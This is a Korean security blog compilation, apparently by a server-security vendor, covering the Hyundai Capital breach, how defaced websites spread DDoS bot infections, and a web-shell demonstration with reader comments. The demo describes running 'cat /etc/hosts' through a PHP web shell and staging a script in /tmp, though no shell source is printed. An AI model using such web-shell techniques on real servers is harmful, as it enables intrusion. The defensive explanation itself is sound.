현대캐피탈은 지난 7일부터 서울지방경찰청 사이버범죄수사대에 해킹수사를 의뢰해 범인 검거를 위해 총력을 기울이고 있지만 현재까지 정확한 피해 규모와 범인의 소재를 파악하지 못한 상태다. 금융감독원은 오는 11일 정보기술(IT) 전문가로 대책반을 구성해 현대캐피탈 특별검사에 나서기로 했다.

정태영 현대캐피탈 사장은 이날 "개인적으로 죄송스럽고 수치스럽다"며 "현재까지 직접적이고 금전적 피해는 없고 고객 피해를 파악하는데 모든 역량을 집중하고 있다"고 사과했다. 또 "지금은 사태 전모를 확실히 아는 것이 중요하다고 생각한다"며 "책임질 일이 있으면 책임지겠다"고 강조했다.

캐피탈업계에선 1위업체인 현대캐피탈이 해킹당했다는 사실이 알려지자 긴장하는 분위기다. 한 캐피탈사 관계자는 "현대캐피탈이 당할 정도면 다른 캐피탈사도 안전할 수 없다"고 우려를 표명했다.

현대캐피탈 신용정보도 유출..`최악의 해킹사고`(종합)

2011/04/10 19:26:47 이데일리


=========================================================================================

최근 주로 발생되는 DDOS 공격은 단순히 공객 대상이 되는 업체의 일부 서버가 서비스를 수행하지 못하도록 비정상적인 과도한 트래픽을 유발시키는 해킹기업이다. 따라서 개인정보 혹은 기타 공공 및 기업의 기밀에 해당되는 정보 유출은 없다.

또한 과거 발생했던 GS칼텍스 등에서 발생했던 대량의 고객정보 유출은 외부에서의 해킹이 아닌 내부자가 연관되어 발생된 "내부 보안 사고"의 성격이 강했다.

하지만 과거 옥션의 개인정보 유출과 이번 현대캐피탈 고객정보 및 금융정보 해킹사건은 내부자가 아닌 외부자가 인터넷을 통해 내부 시스템에 침입한 완벽한(?) 해킹으로 인해 발생한 보안사고이기 때문에 그 심각성은 다른 보안사고와는 차원이 다른 수준이다.


현대캐피탈의 내부통제 수준

몇차례 현대캐피탈의 IT 부서에 방문하여 업무협의와 PT, Demo 등을 진행한 경험이 있다. 공교롭게도 현대캐피탈에서 해킹이 발생했다고 공개한 날짜와 비슷한 시기였다. 결국 담당자가 선호하는 외산 SecureOS를 도입하는 것으로 결정이 되었다는 안타까운(?) 소식을 접하긴 했지만 그 과정에서 경험한  현대캐피탈의 내부통제 시스템은 듣던대로 비교적 잘 갖추어져 있고 적용도 잘되어 있는 듯 했다. 또한 필요한 네트워크 보안 시스템 즉, 방화벽, IPS 등도 운영중이었다.


문제는 서버 및 애플리케이션 보안

이번 해킹사고는 완벽할 것이라고 믿는 네트워크 보안시스템의 한계를 잘 드러낸 사건이다. 방화벽, IPS 그리고 클라이언트와 서버간의 통신 암호화로 대변되는 네트워크 보안이 결코 시스템을 해킹으로부터 완벽하게 보호해줄 수 없다는 일반적인 상식(?)을 증명해준 해킹사건이다.

과거 해커들은 시스템의 취약점을 데이터의 이동 통로인 네트워크서 찾는 경향이 있었지만 최근에는서 서버에서 데이터를 관리하는 애플리케이션에서 찾는 경향이 두드러지게 나타나고 있다. 특히 이번 해킹사건에서 보듯 인터넷에 공개되어 있는 웹서버는 해커들의 주요 공격대상이 되고 있다.

해커들은 집요하게 웹서버를 공격하려 취약성을 찾는다. 이 취약성의 대부분은 웹서버에서 구동되는 서버사이드스크립트인 JSP(Java Server Page) 및 서블릿이 갖고 있게 된다. 결국 웹 응용프로그램 개발자의 보안 수준에 따라 취약성이 많은 시스템을 개발하느냐 아니면 취약성이 거의 없는 시스템을 개발하느냐가 결정되어 진다.



또한 취약성이 발견되어 해커가 해당 취약성을 공격하였을 때 해커가 얻게되는 최초의 서버 접근권한을 운영체제 차원에서 제대로 통제하느냐에 따라 해킹의 성공여부가 판가름 난다. 만약 운영체제 차원에서 적절한 통제를 수행하지 못한다면 해커는 해당 시스템을 장악할 수 있는 발판을 마련하게되고 그때부터 시스템은 해커의 공격에 무방비 상태로 노출되는 것이다. (네트워크 보안 시스템으로는 통제하기 어려움)

해커가 취약성에 대한 공격으로 서버 접근 권한을 얻게 되면 그때부터 원격지에서 서버에 존재하는 수많은 파일을 뒤져 자기가 원하는 추가적인 정보를 얻을 수도 있다. 이때부터 주요 정보의 유출은 시간문제가 된다. 운이 좋다면 root의 패스워드 혹은 다른 서버에 관리자 권한으로 접근할 수 있는 계정정보가 하드코딩된 스크립트를 얻을 수도 있을 것이다.

현대캐피탈의 해킹은 지금까지 설명한 과정을 거쳐 이루어졌을 것으로 보인다. 이러한 과정은 전형적인 웹서버 해킹의 과정일 뿐이다.


또다른 문제... 서버 감사시스템의 부재

많은 금융사에서 고객의 계좌정보를 메인프레임에서 Unix 서버로 다운사이징하여 운영하고 있다. 그리고 계좌정보의 일부가 서비스의 성능을 높이기 위해 기간계 서버에서 각기 다른 Unix 및 Windows 서비스 시스템으로 (예를 들면 이번 해킹사고가 발생한 프라임론 시스템) 분산되어 저장된다.

하지만 Unix 나 Windows 모두 보안에 취약한 운영체제다. 외부로 부터 침입한 해커든, 내부자이든, 아니면 기술지원을 나온 외부의 엔지니어든 서버에 접근하여 무엇을 하는지 통제하고 감사기록을 남길 수 있는 솔루션을 운영체제 자체적으로 제공해주지 않는다.

사실 이번 해킹의 경우도 정확하게 어떤 정보가 유출되었는지 확실치 않다. 또한 해커가 어떤 백도어를 숨겨두었는지 찾아낼 방법도 없다. 아니면 해킹당했다는 프라임론 시스템외에 같은 네트워크내에 있는 다른 어떤 서버가 또 해킹을 당했는지 확인할 완벽한 방법이 없다. 확인할 수 있는 것은 외부의 어떤 IP에서 접근했는지와 다른 서버로 Telnet, FTP, rlogin 같은 단순한 방법으로 로그온을 시도했는지와 그 로그인의 성공여부 정도 뿐이다.

해커가 서버에서 어떤 파일을 열어보았는지, 어떤 명령어를 수행했는지, 어떤 파일을 만들었는지와 같은 구체적인 활동정보는 어디에도 기록되어 있지 않을 것이다. 보안사고 및 침해행위를 감사할 수 있는 기능을 제공하는 솔루션은 현재로서는 SecureOS를 이용하여 감사정책을 적용하는 것이 최선의 방법이나 현대캐피탈에는 아직 적용되어 있지 않은 듯 하다.


= 서버 보안의 강화가 필요한 시점

많은 공공기관과 금융기관 그리고 일반 기업체에서 SecureOS 를 도입하고도 제대로 활용하지 못하는 경우가 많다. 네트워크 보안과는 달리 서버 운영체제, 네트워크, 시스템소프트웨어, 웹응용프로그램에 대한 지식을 비롯한 다양한 경험과 지식을 필요로 하는 것이 바로 SecureOS 제품이다.

하지만 국내의 엔지니어에 대한 정서(?)상 그렇게 다양하고 풍부한 경험과 지식을 갖춘 엔지니어를 찾기는 어렵다. 기술자를 경시하는 풍조가 IT 업계에도 만연되어 있어 엔지니어가 오랫동안 다양한 분야에서 경험과 지식을 쌓기란  무척 어렵기 때문이다. 그리고 그러한 이유에서 제대로 서버보안S/W(SecureOS)를 운영할만한 엔지니어를 찾기란 쉽지 않다.

하지만 주요 데이터가 보관되고 서비스되는 서버의 보안을 서버 내부가 아닌 서버 외부의 네트워크 보안 시스템에게 맞기는 것은 사람이 오리털 파카를 입고 있으면서 그 속에는 홀라당~~ 벗고 있는 것과 크게 다를 바가 없다.

서버와 애플리케이션 보안의 강화....
그것만이 보안이 취약한 Unix/Linux/Windows 서버의 해킹을 막을 수 있는 유일한 해결책이다.


결론부터 말하자면 "끊임없이 다시 발생한다" 이다.

엊그제 발생한 대대적인 DDOS 공격... 아니나 다를까 또 백신타령이다. 역시나 좀비PC가 된 불특정 다수의 죄없는 일반인들이 해커 대접(?)을 받고 있다. 그나마 이번엔 좀비PC를 양산(?)한 중간 감염 사이트가 운좋게 밝혀졌다.

인터넷 다운로드 사이트인 쉐어박스와 수퍼다운이 해킹되어 이 두 사이트에 접근한 사용자들의 PC에 공격도구를 감염시켰다고 한다.


이전의 국가적인 DDOS 공격이 있었을 때도 분명 이렇게 매개체가 되는 웹사이트가 무척 많았을 것이다. 이번 공격에도 어쩌면 더 많은 웹사이트가 해킹되어 더 많은 PC를 좀비PC로 만들었을 지도 모른다. 다만 밝혀진 웹사이트가 2곳일 뿐일지도 모른다.

이제는 더이상은 많은 피해자(좀비PC의주인들)를에게 주의의 의무만을 지우지 않았으면 한다.

공공의 서비스를 위해 그리고 돈을 벌기 위해 운용중인 수 많은 보안에 취약한 웹서버에 소스위변조 차단을 위해 서버보안 S/W 혹은 위변조 모니터링 솔루션, 홈페이지 위변조 차단 솔루션 등의 설치를 의무화할 필요가 있다고 본다. 대부분의 기업과 공공기관의 PC에 백신설치는 의무화되다시피 했다. 또한 방화벽과 IPS도 거의 의무적으로 도입되다시피 했다. 그럼에도 불구하고 이러한 네트워크 기반의 보안솔루션으로는 홈페이지의 위변조를 차단하지는 못한다. 이제는 서버 내부에서 홈페이지의 보안을 더욱 강화할 필요가 있다.

홈페이지 위변조를 통해 발생하는 해킹의 피해는 이번 DDOS 공격 사건에서 보듯 심각한 수준이다. 더 이상 지체할 수 없는 상황이라는 것을 하루빨리 인지하면 좋겠다.

DDOS공격을 수행하는 좀비PC는 그냥 생기는 것이 아니다. 좀비PC가 왜 생기는지... 어떤 경로로 정상적인 PC가 좀비PC로 변신(?)하는지을 이해해야 한다.


위의 그림의 (1)과 같이 "보안에 취약한 웹사이트"의 홈페이지 소스를 위/변조하여 악성코드를 직접 심어놓거나 타 사이트에 올려져 있는 악성코드를 다운로드 받는 코드를 삽입한다.

그리고 (2)와 같이 보안에 취약한 PC가 해당 웹사이트에 접근하면 악성코드가 PC에 설치되어 좀비PC가 된다.

일단 좀비PC가 되면 (3)과 같이 공격자(해커)의 명령에 따라 (4)와 같이 DDOS 공격을 수행하게 된다.
하지만 해커가 자신의 IP를 직접 노출해가면서 (3) 처럼 직접 공격하는 경우는 드물다. 해커와 좀비PC사이에는 또하나의 명령서버(Command Server)가 존재하는 경우가 대부분이다. (이 그림에서는 생략되어 있다.)

그렇다면 가장 효과적으로 DDOS 공격을 방어하는 방법은 무엇일까..??
지금까지는 (4)번의 DDOS 공격을 막는데 주력하고 있다. 그래서 DDOS 공격이 시작되면 대한민국 국민에게 사용하는 PC에 백신을 설치하라고 방송을 통해서까지 호소하고있다. 과연 이것이 효과적인 대응인지를 곰곰히 생각해볼 필요가 있다.

일단 (1)의 공격이 성공하면 그 이후에는 DDOS공격이 발생하는 것은 시간문제다. 그리고 어느 PC가 좀비PC인지 식별하는 것도 사실상 불가능하다. 국민전체를 믿고 기다리는 것밖에는 할일이 없는 것이다. 너무도 소극적인 대응이 아닌가 ?

가장 효과적인 방법은 바로 (1)을 차단하는 것이다. 웹사이트를 개발하고 운영하는 이들은 누구인가? 바로 영리목적의 기업이거나 공공기관이다. 웹사이트의 보안을 강화하고 해킹을 차단할 능력이 충분히 있다. 다만 비용과 신속한 개발과 빠른 서비스 시작에 목매어 보안을 등한시하고 있을 뿐이다.

(1)의 공격을 막기위해 보안을 강화해야만 효과적으로 DDOS 공격을 차단할 수 있다.


관련 포스트 : 웹서버 소스파일 위변조 차단을 위한 SecureOS 적용

웹쉘(web-shell)은 서버를 해킹하는 가장 훌륭한 도구 중에 하나다. 웹서버에 웹쉘을 업로드 하고 웹브라우저를 통해 웹쉘을 호출할 수 있다면 해커는 그 서버를 마음대로 조종할 수 있는 권한을 90%쯤 갖게 된다고 볼 수 있다.

많은 서버관리자와 보안관리자들이 웹쉘이 업로드된 서버를 발견하게 된다면... 눈 앞이 캄캄해질 것이다. 웹쉘이 발견되었는데도 눈앞이 캄캄해지지 않는 관리자라면 둘중하나다. 확실한 웹쉘 실행 차단 대책이 이미 적용되어 있는 훌륭한 관리자이거나 웹쉘이 뭔지도 모르는 초보 관리자 둘 중 하나다. 둘다 아니라면..?? 거기까진 말하고 싶지 않다.

먼저 웹쉘의 동작 과정을 시연 화면을 통해 살펴본다.

이 화면은 웹서버에 업로드된 "초 간단" 웹쉘이다. PHP로 작성된 10줄 남짓의 이 웹쉘은 비록 화면은 인터넷에 떠도는 많은 웹쉘에 비해 단순하지만 그 어떤 IPS나 웹 방화벽에 적발되지 않고 실행가능한 "강력한" 웹쉘일 것이다.


웹쉘이 하는 일은 아주 간단하다. 위의 화면과 같이 입력창을 통해 명령어를 입력받아 웹서버를 통해 실행하고 그 결과의 출력화면을 브라우저에 표시해주는 것이다.

웹쉘이 실행할 수 있는 것은 무척 많다. 그래서 웹쉘이 실행할 수 없는 것을 이야기하는 것이 더 빠를 것이다. 웹쉘이 실행하지 못하는 것은 "웹서버가 실행중인 계정이 실행 권한을 갖고 있지 않은 실행파일 및 스크립트"이다. 그 이외에는 모두 실행이 가능하다.

위의 화면에서와 같이 "cat /etc/hosts" 명령을 입력하고 실행하면 다음과 같이 그 결과가 브라우저에 표시된다.


웹쉘은 단순히 명령어 만을 실행하고 그 결과를 보여주는 것만 가능할까?

아니다. 웹쉘의 활용은 거의 무궁무진하다. telnet으로 서버에 들어간 것과 같이 스크립트를 만들고 실행시키는 것도 가능하다. 다만 웹서버가 구동중인 계정의 권한만을 갖기 때문에 파일을 만들고 실행하기 위해서는 웹서버가 실행중인 계정이 쓰기,실행(w,x)을 갖고 있는 디렉토리를 찾아야 한다. 

하지만 해커들이 누군가? 아무도 알려주지 않아도 해커들은 /tmp와 /var/tmp가 trwxrwxrwx 퍼미션으로 되어 있다는 것을 알고 있다.

다음과 같이 /tmp 디렉토리에 hack.sh 스크립트를 만든다. 첫번째 줄이다.


 다음은 두번째 줄이다.


두줄이 들어간 hack.sh 스크립트의 내용을 확인해보자.


ps와 netstat 두줄이 들어간 hack.sh 스크립트가 생성되어 있다. 서버의 umask 설정에 따라 실행퍼미션이 없을 수 있는데 chmod +x 명령으로 실행퍼미션을 부여해주면 된다. 보안 때문에 반드시 설정해야한다는 umask 설정이 무용지물이 되는 이유다.

이 hack.sh를 실행하면 스크립트에 포함된 두개의 명령이 차례대로 실행된다.


/tmp/hack.sh 스크립트가 실행된 것을 확인할 수 있다.
 
웹쉘은 실행파일은 물론 쉘스크립트, 그리고 Perl 스크립트도 실행이 가능하다. 인터넷을 조금만 검색하면 icmp, udp, tcp의 보안 취약성을 이용한 DOS, DDOS 공력용 Perl스크립트를 비롯한 다양한 공격 도구들을 쉽게 구할 수 있다.
또한 자동 ftp 스크립를 만들어 웹쉘로 작성한 뒤 실행하면 외부의 서버로 ftp 접속을 하여 파일을 다운로드 받는 것도 가능하다.

웹쉘로 못할 것이 없는 것이다.

그렇다면 웹쉘을 차단하는 근본적인 방법은 없는 것일까?? IPS와 웹방화벽은 현실적으로 웹쉘을 효과적으로 차단하지는 못한다. 현실적인 여러가지 이유와 오탐의 위험때문에 패킷스니핑방식의 보안솔루션으로는 웹쉘을 차단하는 것은 불가능하다.

하지만 서버보안S/W인 RedCastle을 이용하여 아주 간단한 두개의 정책만 추가해주면 웹쉘의 실행을 완벽하게 차단할 수 있다.

RedCastle이 제공하는 파일접근통제정책에 다음과 같은 정책을 추가해주면 된다.

1. 운영체제의 모든 명령어들을 웹서버 (httpd 및 java 등)을 통해 실행하지 못하도록 한다.
2. /tmp 및 /var/tmp 디렉토리에서 웹서버가 스크립트 및 실행파일을 실행하지 못하도록 한다.
3. 웹서버의 업로드 경로에서 아무도 실행권한을 사용하지 못하도록 한다.

RedCastle SecureOS를 통한 정책의 추가는 아주~~쉽고 그 효과는 100% 확실하다.



  • 질문좀요.. 2010.03.28 13:17

    레드캐슬 저건 어디서 구할수있나요?

  • mizz 2010.04.12 03:13

    저 웹쉘 소스 좀 알 수 있을까요 ㅠㅠ

    mizzzzzz@naver,com 으로 보내주시면 진짜 감사하겠습니다 ㅜㅠㅜ

    • 주인장 2010.04.13 23:33

      더 성능좋은 웹쉘은 인터넷을 조금만 검색해보면 많이 찾을 수 있습니다.
      한번 검색해보세요~

  • proxyolism 2010.08.16 00:21

    퍼갈께요 ^^ 웹해킹공부하고있는데 자료 찾고있었습니다 ㅎㅎ 도움많이됬어요.

  • colroni 2010.08.24 19:10

    웹쉘을 막을려고 하는데 어떻게 설정을 해야하고 웹쉘파일을 찾는 방법도 알려주시면 감사하겠습니다.
    급합니다. colroni@naver.com

    • 주인장 2010.08.25 07:30

      서버보안 S/W가 없는 상태에서 웹쉘의 실행을 차단하는 것은 현실적으로 불가능합니다. IPS나 웹방화벽에서 알려진 웹쉘의 패턴을 인식하여 차단하는 것은 가능할지 모르지만 작정하고 덤비는 해커들이 알려진 웹쉘을 그저 사용만 할 가능성은 별로 없습니다.
      서버보안 S/W 없이 웹쉘을 막기 위해서는 "웹쉘의 업로드"를 차단하는 것이 가장 좋은 방법입니다. 어느 경로에 웹쉘이 생성되는 지를 확인하시고 웹 소스를 분석하여 어떤 취약성을 이용하여 웹쉘을 업로드 하는지를 빨리 찾아내는 것이 좋습니다. 찾아내셨다면 그 취약성을 제거하도록 웹 소스를 수정하셔야 합니다.

  • colroni 2010.08.25 10:37

    발단은 특정페이지 맨 끝단에 자바스크립트가 삽입이 되어있었습니다.
    그래서 ftp log를 살펴보아도 딱히 어떤 파일을 업로드한 흔적이 없습니다.
    어떻게 이런일이 가능한지..이게 자바스크립트 해킹인가요?
    막을 수 있는 방법이 없을까요?

    • 주인장 2010.08.25 21:23

      FTP 이외에도 여러가지 방법으로 홈페이지를 변조할 수 있습니다. 그리고 웹 소스와 플래시, 어도비 모듈 등을 사용하는 웹사이트에 존재하는 모든 취약성을 제거하는 것도 결코 만만한 작업은 아닙니다. 개발자가 취약성을 한개도 없이 웹사이트를 만드는 것은 거의 불가능한 현실이니까요.
      SQL인젝션, PHP인젝션 취약성 제거 그리고 웹서버의 설정, 계정 비밀번호 변경 등 원론적인 대책밖에는 없는 것이 현실입니다.
      SecureOS를 도입하지 않는다면 개발자와 관리자의 노력에 의존해 해커와 싸우는 방법 밖에는 없습니다.

  • 0000 2012.12.30 22:54

    제 서버에서 돌려보니 웹쉘이 업로드는 되고
    클릭을 하니깐 다운로드를 하라고 뜨는데 이런경우는 공격이안되는건가요?

  • Antares 2012.12.31 12:28

    어떻게 올리셨는지..서버는 어떤 서버인지 자세한 정보를 모르니 정확한 답변은 어렵지만..
    웹쉘 파일의 확장자를 뭘로하셨는지..그리고 "클릭"을 어떤 환경에서 하신건지에 따라 가능할 수도 불가능할 수도 있습니다.



시간 참 빠르게 흘러간다.  7.7 대란 (DDOS공격)이 있었던 지도 벌써 4개월이 지났다.  “DDOS 공격이란 용어가 일반인들 사이에서 이제 점점 잊혀져 가고 있을 그런 시간이 되었다. 그런데 조금 전 웹서핑을 하다가 아직도 DDOS 공격이 계속되고 있다는 기사를 보게 되었다.

제목이 무척이나 비장하게 느껴지는 건 아마도 내가 관련업종에서 일하고 있기 때문이리라..

“DDoS 공격 아직 끝나지 않았다’”

 

그렇다. DDoS 공격은 7.7 이전에도 계속 있어왔고 그 이후에도 계속 있었으며 앞으로도 영원히 계속될 것이다.

 

그 이유는 무었일까…?

 

많은 사람들이 DDoS 공격을 막아야 한다는 데에는 모두 공감한다. 하지만 어떻게 막아야 하는가에 대해서는 의견이 분분하다. DDoS 공격을 차단하기 위해 이러쿵 저러쿵 많은 의견들이 있지만 몇 가지로 요약해보면 다음과 같다.

 

먼저 전국의 모든 PC에 백신을 설치해야 한다는 주장으로 이는 책임 전가형이다.

 

수 만대 이상으로 예상되는 공격도구에 감염된 좀비PC”를 없애야 하므로 백신을 모두 설치해서 공격도구에 감염되지 않도록 해야 한다는 주장이다. 심지어 인터넷에 접속하기 위해서는 의무적으로 PC에 백신을 설치해야만 하도록 해야 한다는 공산주의 혹은 전체주의적 발상까지도 서슴지 않는 부류다. 그러나 이 방법은 해커들이 지속적으로 새로운 공격도구나 변형된 공격도구를 만들어내기 때문에 별 실효성이 없는 방안이다. 그리고 일반 사용자들에게 어떻게 백신을 의무적으로 설치하도록 할 수 있겠는가? 그저 적극적인 홍보를 통해 공격도구 감염을 최소화하기 위한 방안일 뿐이다. 이 방안은 전국민을 해커로 몰아세우는 책임전가일 뿐이다.

 

다음으로는 DDoS 공격을 막기 위한 DDoS 차단 솔루션을 도입해야 한다는 주장으로 이는 너무 소극적인 방법이다.

 

DDoS 공격 차단 솔루션들은 아직 제대로 검증되지 못했으며 당장은 효과를 볼 수 있다 하더라도 머지않아 창의적인 해커들의 새로운 DDoS 기법이 출현할 것이 뻔하기 때문에 그리 효율적이지 못한 방법이다. TCP/IP 프로토콜의 소스와 구조가 완전하게 개방되어 있는 상황이기 때문에 네트워크 기반의 DDoS 차단 솔루션을 우회하거나 속이는 방법이 머지않아 출현할 가능성이 높기 때문이다.

 

그렇다면 이쯤에서 왜 DDoS 공격이 끊이지 않고 계속 발생하는지를 고민해볼 필요가 있다. 많은 보안 전문가들과 사이버수사대가 DDOS 공격의 진원지를 찾는데 에는 혈안이 되어 있다. 그리고 좀비PC를 찾아 IP를 차단하는 소극적인 대처는 열심히 하고 있다. 그러나 어디에서도 어느 기사에서도 수많은 PC를 좀비PC로 만든 중간 감염서버들에 대해서는 쉬쉬~하고 있는 이유가 참으로 궁금하다. 어쩌면 그 존재에 대해 정말로 모르고 있는 것 같기도 하다.

 

다음 그림을 보자.

 

연합뉴스에서 올린 DDOS 공격관련 개념을 설명하는 그림이다. 박스 하단의 악성코드 전파서버는 필자가 그려 넣은 그림이다. 실제로 DDoS 공격을 하기 위해서는 해커의 명령에 따라 공격을 수행하는 수많은 좀비PC C&C 서버들이 필요하다.

 

해커들이 그 수많은 공격도구가 설치된 PC”들 즉 좀비PC라 일컫는 PC와 중간에서 명령을 좀비PC에 하달하는 C&C 서버를 어떻게 확보할까? 설마 일일이 해당 PC와 서버 앞에 가서 공격도구를 설치하지는 않을 텐데 말이다. 그 방법은 여러 가지가 있지만 가장 흔한 방법 몇 가지를 소개하면 다음과 같다.

 

1.     공격도구가 첨부파일로 들어간 이 메일을 무작위로 보내 첨부파일을 실행하면 공격도구에 감염되도록 한다.

2.     인터넷에 즐비한 웹사이트를 해킹하여 사람들이 많이 방문하는 웹페이지를 변조하고 해당 웹페이지에 웹브라우저로 접근하면 공격도구가 있는 웹페이지로부터 다운로드 받아 설치되게 한다.

3.     메신저를 통해 파일을 전송하여 다운로드 받고 설치되게 한다.

 

이 중에서 3번은 정말 어떠한 보안 시스템으로도 차단하는 것이 불가능에 가깝다. 알려진 공격도구라면 백신을 통해 막을 수 있겠지만 7.7 대란처럼 새롭게 만들어진 공격도구라면 막을 수가 없다.

 

1번의 경우도 마찬가지다. 이메일 보안 시스템들이 있지만 역시 새로운 공격도구나 공격패턴이라면 차단하는 것이 불가능 하다.

 

이쯤 되면 1번과 3번의 공격에 의한 사용자 PC의 공격도구 감염여부는 순전히 개인 사용자들의 보안마인드에 달려있다고 해도 과언이 아니다.

 

1번과 3번의 경우 이미 백신에서 7.7 대란에서 해커에 의해 사용된 공격도구의 감염을 차단하고 있다. 비록 사후약방문 격이지만 사후대책으로는 그래도 충분한 효과를 발휘하고 있다. 하지만 아직까지 7.7 대란에 사용된 공격도구를 감염시키는 중계서버 역할을 수행하고 있는 홈페이지 서버들이 존재하고 있는 한 백신이 설치되지 않은 PC는 지속적으로 감염이 될 수 밖에 없다.  그럼에도 불구하고 2번 공격에 의해 해킹당한 서버들의 존재와 위험성 그리고 해당 서버들이 해킹 당한 사실에 대해서는 모두 함구하고 있다.

 

왜일까..?

 

그것은 바로 해킹 당한 사실을 감추기에 급급한 잘못된 보안 마인드와 IT보안 전문가라는 사람들조차 서버 운영체제에 대한 지식과 웹 서버의 해킹메커니즘에 대해 제대로 알지 못하기 때문인 경우가 대부분이다.

 

Unix Linux 웹서버를 운영하는 사이트들의 경우 파일과 프로세스의 소유자 및 접근 권한에 대해 무지하여 웹서버나 WAS 대몬의 소유자와 홈페이지 소스파일의 소유자 및 권한 설정이 잘못되어 있는 경우가 태반이다. 또한 윈도의 경우 운영체제의 근본적인 취약성으로 인해 운영체제의 취약성이 즉각적으로 홈페이지 위변조를 가능하게 된다.

 

하지만 이러한 취약성은 방화벽이나 IPS, 웹방화벽으로는 해킹을 막을 수 없다는 사실을 보안전문가들 조차도 시원스레 말해주지 않는다. 방화벽이나 IPS, 웹방화벽을 만드는 솔루션업체는 그러한 사실을 영업적인 이유로 인해 당연시하며 감추기에 급급하고 보안컨설팅 업체들도 그러한 해킹을 막을 수 있는 방법에 대해 알지 못하기 때문에 침묵하고 있다.

 

그렇다면 2번의 해킹을 막을 수 있는 방법은 없을까?

 

만약 2번의 해킹을 막거나 실시간으로 적발해낼 수 있다면 공격 근원지를 조기에 찾아 차단하는데 큰 도움이 될 것이다.

웹서버 자체의 취약성이나 Java의 취약성 그리고 오픈소스 게시판들의 취약성이 어쩔 수 없이 존재한다고 하면 2번의 해킹을 막기 위한 현재로서의 유일한 방법은 SecureOS를 이용해 홈페이지 소스파일들에 대해 근본적인 접근제어를 수행하는 방법밖에 존재하지 않는다.

 

해커들이 공격도구 전파서버로 만들기 위해 특정웹서버를 해킹 할 때 SecureOS 등을 통해 홈페이지 위변조 방지 정책이 적용되어 있다면 해커는 원격지에서 어떠한 방법으로도 홈페이지를 해킹하여 사용자들의 PC에 공격도구를 감염시키는 중계서버로 악용할 수 없다.

 

홈페이지 해킹을 근본적으로 차단하고 실시간으로 탐지해낼 수 있는 것이다.

 

하지만 네트워크 보안에 너무도 치중되어 있는 우리나라의 보안산업 구조상 서버 내의 자산(파일, 프로세스, 계정)에 대한 보안정책을 수립해줄 보안 전문가는 찾아보기 힘들며 네트워크에서 모든 보안을 담당해야 한다는 잘못된 마인드가 형성되어 있어 서버보안에 대한 필요성 자체를 크게 느끼지 못하는 정말 상황이 여기저기서 벌어지고 있다.

 

어느 하나의 보안 솔루션 만으로는 해킹을 차단할 수 없다.

 

네트워크 접근은 방화벽에서 담당하고 TCP/80을 차단할 수 없는 웹서버와 TCP/25를 차단할 수 없는 이메일 서버는 SecureOS에서 담당하여 홈페이지와 메일서버에 대한 보안을 강화하는 것이 기본이다. 더 나아가 내부자에 의한 악의적은 해킹을 막기 위해 DB보안과 서버보안을 강화하는 것이 좋다.

 

DDoS 공격을 방어하기 위해 네트워크 보안과 백신에 의존하려는 것은 바이러스에 의한 독감을 치료하기 위해 해열제와 기침약을 지속적으로 처방하는 것과 다르지 않다. 독감을 예방하기 위해서는 적절한 시기에 적절한 독감 백신을 맞아야 하는 것이다.

 




2009년 7월.... 청와대와 백악관 그리고 여러 포털과 대형인터넷쇼핑몰들 그리고 다수의 공공기관들의 웹사이트가 DDOS공격을 받았다. 정보보호진흥원과 국가정보원 그리고 사이버수사대와 백신업체들은 사태파악과 원인분석을 위해 동분서주하고있다.  그리고 언론들과 정보보호전문가들은 마치 전국의 수백만 PC가 이번사태의 원인인것처럼 사태를 호도하고 있다. 정보보호진흥원 관계자의 말을 인용한 언론의 보도를 재인용하면 "수많은 보안에 취약한 PC"들이 이번 DDOS 공격을 한 원흉(?)인것처럼 말한다.

그렇다면 전국민이 대한민국의 모든 PC에 백신을 설치하여 사용하고 있었다면 이런 사태가 벌어지지 않았을까? 

대부분의 DDOS공격이 그렇듯 백신이 설치되어 있었다하더라도 이번 공격은 이루어졌을 것이다. 왜냐하면 새롭게 등장한 변종 공격도구는  백신의 패턴이 업데이트되기 전에는 잡아내지 못하기 때문이다. 그럼에도 불구하고 마치 "개인PC들이 문제다"라는 발언은 너무도 무지하고 무책임한 발언이 되는 것이다.

그렇다면 DDOS 공격은 어떠한 과정에 의해 이루어질까....

DDOS공격은 불특정 다수의 개인PC에서 이루어진다. 그러기 위해서는 수많은 PC에 DDOS공격을 수행하는 악성 프로그램을 감염시켜야 한다. 수많은 PC가 어디에선가 DDOS공격도구를 다운로드 받도록 유도해야 한다.  해커의 입장에서 빠른시간에 수많은 좀비PC(DDOS공격도구를 다운로드 받아 실행하는 PC)를 확보하기 위해서는 사람들이 많이 방문하는 홈페이지를 해킹하여 DDOS공격프로그램을 다운로드 받도록 웹페이지를 변조하거나 게시판에 스크립트를 삽입하는 것이 효과적이다. 이는 결국 DDOS 공격을 하기 위해서는 여러 대형 웹사이트를 해킹하는 것이 효과적이라는 이야기다.

그렇다면 어느 웹사이트가 공격대상이 되는 것일까?

바로 대형포털이나 인터넷쇼핑몰 혹은 공공기관의 웹사이트가 DDOS 공격을 수행할 좀비PC를 확보하기 위한 중간 해킹대상이 된다.

하지만 대부분의 웹사이트 운영자와 본안전문가라는 사람들은 대형 웹사이트가 이번 DDOS공격을 위해 사용자PC를 감염시킨 원흉일 것이라는 사실에 침묵하고 있다. 그러면서 개인사용자들의 보안취약성이 원인이라는 발언이나 하고 있는 것이다. 얼마나 무책임한 변명인가 말이다.

사실 웹페이지의 해킹에 대해 IPS나 웹방화벽 이외의 보안 대책을 아는 사람들은 드물다. 또한 SecureOS가 웹페이지의 위변조를 근본적으로 차단할 수 있음을 아는 경우도 드물며 웹쉘(Web Shell)을 차단할 수 있다는 사실을 아는 보안 전문가도 드문 현실이다. 이는 보안의 관점이 네트워크와 PC에 치우쳐있어 발생하는 현실적인 문제다.

실제로 2년여전쯤 인터넷쇼핑몰의 원조격인 대형 인터넷쇼핑몰에서 지속적인 Javascript 파일의 변조시도가 있었다. 하지만 쇼핑몰에 피해를 주고자 하는 것이 아닌 쇼핑몰에 접속하는 사용자들의 PC에 악성프로그램을 감염시키기 위한 시도였다. 결국 해당 쇼핑몰은 큰 비용을 들여 서버보안S/W를 도입하여 웹의 소스파일을 보호하는 책임있는 자세를 보였다. 이는 쇼핑몰의 해킹을 차단함과 동시에 인터넷 쇼핑몰에 방문하는 사용자들의 PC에 본의아니게 악성코드를 다운로드받지 않도록 고객을 보호하는 이중의 효과를 볼 수 있는 것이다.

결국 DDOS 공격을 효과적으로 차단하기 위해서는 해커들의 좀비PC확보를 차단하는 것이 더 효과적인 방법이 될 것이다. 그러자면 웹사이트를 운영하는 정부와 공공기관 그리고 금융업체와 기업들이 서버의 보안에 더 관심을 기울여야 한다.

